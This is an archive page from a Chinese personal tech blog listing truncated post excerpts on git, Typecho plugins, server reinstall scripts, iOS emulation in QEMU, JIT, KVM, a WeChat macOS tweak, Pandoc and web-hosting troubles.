1.什么是.DS_Store?.DS_Store,用于存储当前文件夹的一些Meta信息。每次提交代码时,我都要在代码仓库的.gitignore中声明,忽略这类文件。2.存在哪些问题?如果你没有忽略此类文件时,你和你的小伙伴和代码时就会有如下的问题:error: Your local changes to the following files would be overwritten by merge: .DS_Store # or both modified: .DS_Store3.解决办法1. 本地仓库忽略本地仓库的文件忽略规则可以在 .git/info/exclude 文件中添加。...
查看原文

2020-07-18 By wibus

Typecho-Plugin-HandsomeCall

一款专属于Handsome的信息提示插件 ::QQ:qq-133:: 目前版本:自己下载下来看就知道了作者:Wibus参考插件:WeiFeng HandsomeNotice[scode type="red"]如果有人二开适配自己主题的,请在代码中保留一下版权信息,代码编写不易,谢谢[/scode]食用教程https://github.com/wibus-wee/Typecho-Plugin-HandsomeCallgit clone https://github.com/wibus-wee/Typecho-Plugin-HandsomeCall.git先下载插件放入/usr/plugin...
查看原文

2020-07-18 By wibus

网络重装 Ubuntu/CentOS/Debian 一键脚本

能够全自动重装 Debian/Ubuntu/CentOS 等系统同时提供dd安装镜像功能,例如:全自动无救援dd安装windows系统全自动安装 CentOS 时默认提供 VNC 功能,可使用 VNC Viewer 查看进度,VNC 端口为1或者5901,可自行尝试连接(成功后 VNC 功能会消失)目前 CentOS 系统只支持任意版本重装为 CentOS 6.9 及以下版本(欲重装成 CentOS 7 请看后续补充内容)本脚本适用于由 GRUB 引导的系统,使用官方发行版去掉模板预装的软件,同时也可以解决内核版本与软件不兼容的问题。只要有 root 权限,就可以还您一个纯净的系统。[s...
查看原文

2020-07-17 By wibus

如何用git将代码上传至GitHub

这就要说起最近开发主题的事了,主题上传的时候遇见了上传失败的问题,试了蛮多次都不行,想了一下,算了还是去了解一下git,用git上传吧直接进入正题关键步骤我这里默认你已经create了一个New repository&使用readme初始化,不会的看这里[collapse status="false" title="How to Create a New repository"]注册GitHub账户,这个我不说了,不懂的百度谷歌找鼠标放去右上角“+”需要勾选的:Public 不能使用PrivateInitialize this repository with a README ...
查看原文

2020-07-17 By wibus

什么是 Markdown?

Writing by wibus在初步了解Markdown前,我们先要弄清楚一样东西:什么是富文本编辑器?在富文本编辑器输入一段文本,选择具体的格式后,能够直接显示对应的结果。例如我们常见的 Microsoft Word 就是典型的富文本编辑器。这样做有两个优势:简单、直观;所见即所得。但这种方式带来一个难以弥补的缺陷:效率低下。回想一下,我们在使用 Word 进行内容输出时,往往需要一边「输入文字」,一边用鼠标选择对应样式:加粗、排序、列表等。即便完成内容编辑,最后往往会出现「样式不一致」、「不同平台格式不统一」(例如 Word 和 WPS Office)以及,兼容性问题(在高版本创建...
查看原文

2020-07-01 By wibus

在QEMU中运行iOS到交互式bash shell(2):研究

这是两篇系列文章中的第二篇,有关我所做的工作,我在QEMU上启动了未打补丁的iOS 12.1内核来模拟iPhone 6s,并在模拟的iPhone上获得了一个交互式bash shell。要查看代码以及使用方法的说明,请参阅第一篇文章。在这篇文章中,我将介绍为实现这一目标而进行的一些研究。本研究以卓威所做的工作为起点。根据zhuowei所做的工作,我已经有一种方法可以在没有安全监视器的情况下在不同的iPhone上引导版本稍有不同的iOS内核,同时在运行时修补内核以使其启动,并运行预先存在的已启动服务。 ramdisk映像,并且没有交互式I / O。在这篇文章中,我将介绍:如何将代码作为新机器...
查看原文

2020-06-30 By wibus

在QEMU中运行iOS到交互式bash shell(1):教程

[post cid="68" cover="https://tva2.sinaimg.cn/large/0072Vf1pgy1foxlnixk7ej31hc0u0ke6.jpg"/]想要做一些iOS安全性研究并受到zhuowei所做工作的启发,我决定尝试在启动过程中进一步扩展该仿真项目。目的是使系统无需事先或在启动过程中修补内核即可启动,并具有扩展QEMU的功能以执行arm64 XNU系统的新模块,并获得交互式bash shell。这篇文章是2篇系列文章中的第一篇,其中我将介绍在QEMU上执行iOS并启动交互式bash shell的说明。在第二篇文章中,我将详细介绍为达到该目标而需要进行...
查看原文

2020-06-26 By wibus

JIT是什么,它将怎样运行?

什么是 JIT?名如其特点,JIT —— just in time,即时编译。把它详细化点讲,就是[scode type="share"]一个程序在它运行的时候创建并且运行了全新的代码,而并非那些最初作为这个程序的一部分保存在硬盘上的固有的代码。就叫 JIT。[/scode]这里有几点要看的:程序需要运行生成的代码是新的代码,并非作为原始程序的一部分被存在磁盘上的那些代码不光生成代码,还要运行。需要提醒的是第三点,也就是 JIT不光是生成新的代码,它还会运行新生成的代码,而这些代码在存储于磁盘上时不属于该程序的一部分,它就是一个JIT。 ::aru:nomatter::JIT的两个阶段我...
查看原文

2020-06-20 By wibus

KVM与QEMU

本篇将会讲到:KVMQEMUKVM与QEMU之间的关系好了,以上的内容可能会不按顺序讲,可能会突然就讲完了(这一篇的技术含量比较高,我会尽量讲的通俗一点)而且这一篇不太可能会出现图片了首先,你需要知道什么是虚拟化?虚拟化用通俗的话来说,虚拟化使得在一台真正存在的电脑(后面我们都称作物理机)上可以跑多台虚拟机虚拟机共享物理机的CPU、内存、i/o硬件资源。但是从逻辑上与虚拟机之间是相互隔离的(共享目录并不代表就不相互隔离,共享目录是一个附加内容,并非虚拟化本身带有的)物理机我们一般称为宿主机(Host),宿主机上面的虚拟机称为客户机(Guest)。那么Host 是如何将自己的硬件资源虚拟化...
查看原文

2020-06-06 By wibus

给你的handsome加上一键打卡吧~

[scode type="red"]注意,本篇代码只适用于handsome,其他主题自行适配[/scode]使用效果展示:自己评论区试一下就知道了 ::aru:proud::食用指南首先在后台-->设置外观-->开发者设置-->自定义JavaScript加入以下代码: (PJAX回调函数也加入这个代码)function a(a, b, c) { if (document.selection) a.focus(), sel = document.selection.createRange(), c ? sel.text = b + sel.text + c...
查看原文

2020-06-04 By wibus

WeChatTweak-macOS - 具有微信多开等功能的小工具

微信 macOS 客户端增强 Tweak 动态库。注意[scode type="red"]仅支持macOS系统,如是其他系统可以找其他的~[/scode]功能阻止消息撤回消息列表通知系统通知正常撤回自己发出的消息客户端无限多开右键 dock icon 登录新的微信账号命令行执行:open -n /Applications/WeChat.app链接类型消息增强支持右键直接复制链接支持由系统默认浏览器直接打开重新打开应用无需手机认证UI界面设置面板支持 Alfred workflow支持 Launchbar action使用sudo make install 安装或者更新动态库su...
查看原文

2020-05-25 By wibus

一款新发现的命令行工具——Pandoc

[scode type="yellow"]注意:这一篇为转载文章(部分有修改)[/scode]总结就一句话:Pandoc is a universal document text converter. Some softwares use it to support file import/export features for several file types.可能看不懂啊哈哈哈哈,那就阅读全文来弄懂它吧(禁止翻译啊,你翻译了之后我这篇文章就没人看咯)如何安装Pandoc?简单地说,有两种推荐的方法。所有的安装包程序都在GitHub上托管:Pandoc1    安装从下载的包安装程...
查看原文

2020-05-25 By wibus

搭建万部曲——都是麻烦事

Writing BY Wibus阅读前的一些话嗯……写这篇是因为搭建一个博客/服务器/云盘真的很很很很麻烦,中途会有一大堆的问题,为了以后我&你们搭建的时候有个解决方案看一下,我就写了这篇《搭建万部曲》并且这篇会持续更新~本文写的都是我的亲自做过的,通过自己搜索材料来弄的~里面还有一些没有解决方案那么,开始!1 Profreehost.com(网站主机) 封了我账号...这件事比较严重,导致我的博客数据有可能永久全部没有了,他说他的反滥用系统检测到我滥用了,所以对我的账号进行封停,要给他发邮件了解更多,那我是这么写给他们的:I am a user of unaux_25456460...
查看原文